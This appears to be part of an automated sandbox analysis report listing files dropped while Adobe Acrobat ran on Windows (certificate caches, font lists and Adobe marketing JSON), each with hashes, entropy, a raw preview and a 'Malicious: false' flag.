Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFkl4BTApstfllXlE/HT8k34NNX8RolJuRdxLlGB9lQRYwpDdt:kKhBTCseT8+wNMa8RdWBwRd
MD5:	877DCDAE344CED16E48D4AD2F88B095B
SHA1:	3799BD448675892E6EC3B5D25D68C1C0362BC3CE
SHA-256:	7EB77AE93A7A91FD10D20C4995A0859A492FE1949641F5FE0D039332BAA27745
SHA-512:	2650EA848EEB0E44F9114AD72C703CFD5C6DE047FBC690C71D56D5C96AA5C2DE31508E0854A0AA09AE40EC2F865C11817E71A62483AB10963D5D22888DE2293F
Malicious:	false
Preview:	p...... ..........k..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKHxptL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:fxDiDImsLNkPlE99SNxAhUe/3
MD5:	EE0DC41E215F6CAC66495EB17B37EA99
SHA1:	A06E5AB2B648D8EBBA7875081B84322FC121E91D
SHA-256:	E7E450B276BDDB64FA6857D4D82AB49EA73F4CF7A40EF40F0FEC06BBDD4C077D
SHA-512:	2767770CDDBA28D6D95A13975155A7582828DCE4F7B5BD944C5ACA1F4ECCCBD0C56550095373383A753616EEE14BE96970C029F711B680932401D812ADC62340
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2088

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2088

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.356684436305864
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs1/jRrwK2UXjb24kF0YNmHKoAvJM3g98kUwPeUkwRe9:YvXKXslEUTbdZZGMbLUkee9
MD5:	E40DA055A141828534060316B3BA9A8D
SHA1:	55C8101B4CED665640253C818F1D36BB2E95606B
SHA-256:	0F9F6D58613BF1AAD1EA3BF358956E36C9C43CEFD51D935480170513CC6BB726
SHA-512:	388CFF504BB83D8CC22F946964EBC53DBB12BD97B44A83FE28462F3CDAA6AD290AB3E647756531B337187BE389F4AC4BE05E8759BFBC041ED7E831BD005CF3C0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.294192828969145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs1/jRrwK2UXjb24kF0YNmHKoAvJfBoTfXpnrPeUkwRe9:YvXKXslEUTbdZZGWTfXcUkee9
MD5:	C0637B032F6B74D9B9A3628E6F6AEB48
SHA1:	7E3E6E24658516F6677971DD5E2492513CF53943
SHA-256:	4255D47CC85D583F7ABFF0E1347CDB19DE10A3030A3389E1C614B89248975EE0
SHA-512:	414490FC411E3B5347CFA7A3D1E26F28C82966A9ED56E06423A1CE883132EB3BECED67E9D0DEDD433B6826575ECCB2718AB87B014294F16EA495125955E98901
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.273013904014744
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs1/jRrwK2UXjb24kF0YNmHKoAvJfBD2G6UpnrPeUkwRe9:YvXKXslEUTbdZZGR22cUkee9
MD5:	F5C11E0C872C3C340A915C7698C7F7BD
SHA1:	513A830AB67A10936D5C3EE2A17D57CBFD230703
SHA-256:	4702E6D8C112C76E0E410EEDB3CA5002ECA72B2148F5426EE83C2F7B28D40D16
SHA-512:	6840B023703BDF77A8CED5B9471CFC7715CC10EA7F02E50378D70553A13D3FD9642BC09A54541F7388386271111AE2BB6AFCE582F5AA5EBC8893144DD8D19A61
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3307287970715995
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs1/jRrwK2UXjb24kF0YNmHKoAvJfPmwrPeUkwRe9:YvXKXslEUTbdZZGH56Ukee9
MD5:	C37088E1EEED4158AEC9C9A4D244CB4D
SHA1:	45AA3231FE946B6F9D8E61AE286CFA16CEA7E721
SHA-256:	50956033D2ED298B8197493162A3D6F14FACA63BB438325999DA4090E77953B1
SHA-512:	1A086FEF26FC22D32B9774ABB500AA4934AB0F3F74A2E7A873E0ACD7E330C3855A8EDF6A14180420F63B76F4E14E186FF67F1FE272022503C8F0F51CC45C9D25
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683403154886579
Encrypted:	false
SSDEEP:	24:Yv6XslEUX6pLgE9cQx8LennAvzBvkn0RCmK8czOCCSDi1:YvzlEw6hgy6SAFv5Ah8cv/g
MD5:	7235B31D64B26B24DF101E6F36DEBEAA
SHA1:	73D432FCB7D7D8E00E83F17D7F255E62533F6AD1
SHA-256:	46B54E64CD8875DB116F66CE5A296C2EE91C07B820FAA454F45281CF26577861
SHA-512:	E315329DE41F820BCEC7741145D53D04D55EE67C7D1FD8790AF8FBE3F81A3B4701DFF1AD10EA08A7668344250D36331F46D325E55AFE2277916A18B69972188C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.271261618420265
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs1/jRrwK2UXjb24kF0YNmHKoAvJf8dPeUkwRe9:YvXKXslEUTbdZZGU8Ukee9
MD5:	03A8FF08B59EC3517E9EF8BD25DD5FDF
SHA1:	85A8503F9813CC525EC595E8E87065F382069BC1
SHA-256:	2800942294543D1040EC4AB8955BFD63C9761FBB1C09269A0B906AB3125074D9
SHA-512:	40A7BE5B8AAD725B795666374E185B43DA710908CD3DE5E9131C3A0666C1053BFF843E25895BBA553780130ABF414B2C4CF615DBE8F37C1FCC9353DE50AE7F5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.273625503798009
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs1/jRrwK2UXjb24kF0YNmHKoAvJfQ1rPeUkwRe9:YvXKXslEUTbdZZGY16Ukee9
MD5:	014289C1AB10955E85E771631A72936B
SHA1:	5F289AC3E121A0AACB773E82F5BB963F807CAA9A
SHA-256:	E3FADCBBE76240043D47E0750E0C0CCEAA6D9A9B92CF0B55635182C42F116326
SHA-512:	A4538F3E89B1E9EFB41CCE4009BE14F3F82487B76626D1F2B17B885B5A5EA6F38432156A0CFD3CE8B05AF3DF3CE26749962520E4F62AB42009DE9806AC64F8A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284807577996711
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs1/jRrwK2UXjb24kF0YNmHKoAvJfFldPeUkwRe9:YvXKXslEUTbdZZGz8Ukee9
MD5:	9113388B4C1B5AECF177CFF2586D7E8A
SHA1:	3DF4665F202549FC1A562DB1DFB3AEEA896B3A41
SHA-256:	448A7F45609535422637979504F57D7301F27DE6FD395BFA96502846B9ED64FD
SHA-512:	AE020D40061ED499832E2DE5FFBFFDF993A880E49886596EB61E6B751728098AD8F767F667E1D80F001D266A1F8243C312D08985AAA3E1E299BA50FD787802AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2979941913423545
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs1/jRrwK2UXjb24kF0YNmHKoAvJfzdPeUkwRe9:YvXKXslEUTbdZZGb8Ukee9
MD5:	EBFA209C31805F721303E6D5FD905B44
SHA1:	077792376BDF4FDB1E6B40E41289DC1617000E79
SHA-256:	4B30111B23C8EA1B97E900D2DBD63B4459B0C56C81F442E2B4AFDA63A83F70A4
SHA-512:	C3E3CEAAAA7D72AC0FF1A653F86A44B4E9ACDDFD1533BA361FDDA050729C5F87694A6AD3C5BC67F5D5AB2598B4DFFF00CBBE404532E394CCAE136A24C1C0F584
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5444cc26-ab31-434e-bd01-599b71e651e9","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736718946912,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277900460064458
Encrypted:	false
SSDEEP:	6:YEQXJ2HXs1/jRrwK2UXjb24kF0YNmHKoAvJfYdPeUkwRe9:YvXKXslEUTbdZZGg8Ukee9
MD5:	A3F9114432A895E1756F048C826F67B7
SHA1:	18B9A9AE7205CC7C3F75E901F98942EBE2EF4C36
SHA-256:	574960CCE99F06969568C0DA609500526837FE16A2F07AF7E5DA53973ABA864B
SHA-512:	3950710D9E1F7E63BA488A761231129CE493D7746FED7EE5CF1701A0C31AAE597070AAC18D0F9196687E3A3CE0379E50AD1A321F5BD9A8C8D1E0ADBE946AF308
Malicious:	false
